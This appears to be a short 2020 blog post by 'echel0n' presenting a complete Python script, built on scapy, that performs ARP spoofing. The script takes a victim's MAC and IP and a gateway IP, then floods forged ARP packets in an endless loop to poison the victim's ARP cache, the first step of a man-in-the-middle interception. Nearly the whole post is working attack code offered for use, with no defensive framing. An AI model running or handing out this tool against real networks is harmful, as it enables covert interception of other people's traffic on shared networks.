scapy.spoof example

May 11, 2020 // echel0n

Here is a ARP spoofing demo with usage of scapy.


  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. """
  4. * ***
  5. ** ***
  6. ** **
  7. ** **
  8. ** ** ****
  9. *** **** ** *** *** ** * *** * *** ****
  10. * *** * *** * ** * *** * *** ** * **** **** **** *
  11. * *** * **** *** *** * *** ** ** ** ** ****
  12. ** *** ** ** ** ** *** ** ** ** ** **
  13. ******** ** ** ** ******** ** ** ** ** **
  14. ******* ** ** ** ******* ** ** ** ** **
  15. ** ** ** ** ** ** ** ** ** **
  16. **** * *** * ** ** **** * ** ****** ** **
  17. ******* ******* ** ** ******* *** * **** *** ***
  18. ***** ***** ** ** ***** *** *** ***
  19. *
  20. *
  21. *
  22. *
  23. Author: @echel0n_1881
  24. ~~~~~~~~~~~~~~~~~~~~~~
  25. ARP spoof tool.
  26. libraries:
  27. scapy : `pip install scapy`
  28. time : builtin
  29. usage: arp_spoofer.py [-h] [--victim VICTIM] [--gateway GATEWAY]
  30. [--victimip VICTIMIP]
  31. optional arguments:
  32. -h, --help show this help message and exit
  33. --victim VICTIM Chosen MAC address of victim.
  34. --gateway GATEWAY Chosen IP of router/switch/modem
  35. --victimip VICTIMIP Chosen IP address of the victim
  36. """
  37. import argparse
  38. from scapy.all import ARP, send
  39. def spoof(victimMacAddress, gatewayIP, victimIP):
  40. # ARP REQUEST'S OP CODE
  41. OPCODE = 1
  42. print(gatewayIP)
  43. print(victimIP)
  44. print(victimMacAddress)
  45. packet = ARP(
  46. op=OPCODE,
  47. psrc=gatewayIP,
  48. pdst=victimIP,
  49. hwdst=victimMacAddress)
  50. while 1:
  51. send(packet)
  52. # optional
  53. # time.sleep(1)
  54. def parser():
  55. # our wise parser
  56. parser = argparse.ArgumentParser()
  57. # adding arguments
  58. parser.add_argument(
  59. "--victim",
  60. help="Chosen MAC address of victim.",
  61. type=str)
  62. parser.add_argument(
  63. "--gateway",
  64. help="Chosen IP of router/switch/modem",
  65. type=str)
  66. parser.add_argument(
  67. "--victimip",
  68. help="Chosen IP address of the victim",
  69. type=str)
  70. args = parser.parse_args()
  71. # post values to our process
  72. return args.victim, args.gateway, args.victimip
  73. if __name__ == "__main__":
  74. # get values from arguments
  75. victim, gateway, victimip = parser()
  76. print("[+] Welcome to Echelon's Arp Spoofer")
  77. print("[!] Chosen options are:")
  78. print("\t Victim's Mac Address: ", victim)
  79. print("\t Victim's IP: ", victimip)
  80. print("\t Gateway's IP: ", gateway)
  81. answer = input("Shall we continue? [Y/n] ")
  82. print("")
  83. answer = str(answer)
  84. if answer == "Y" or answer == "y":
  85. # start spoofing already
  86. spoof(victim, gateway, victimip)
  87. else:
  88. print("[EXITING] Goodbye...")
  89. exit(1)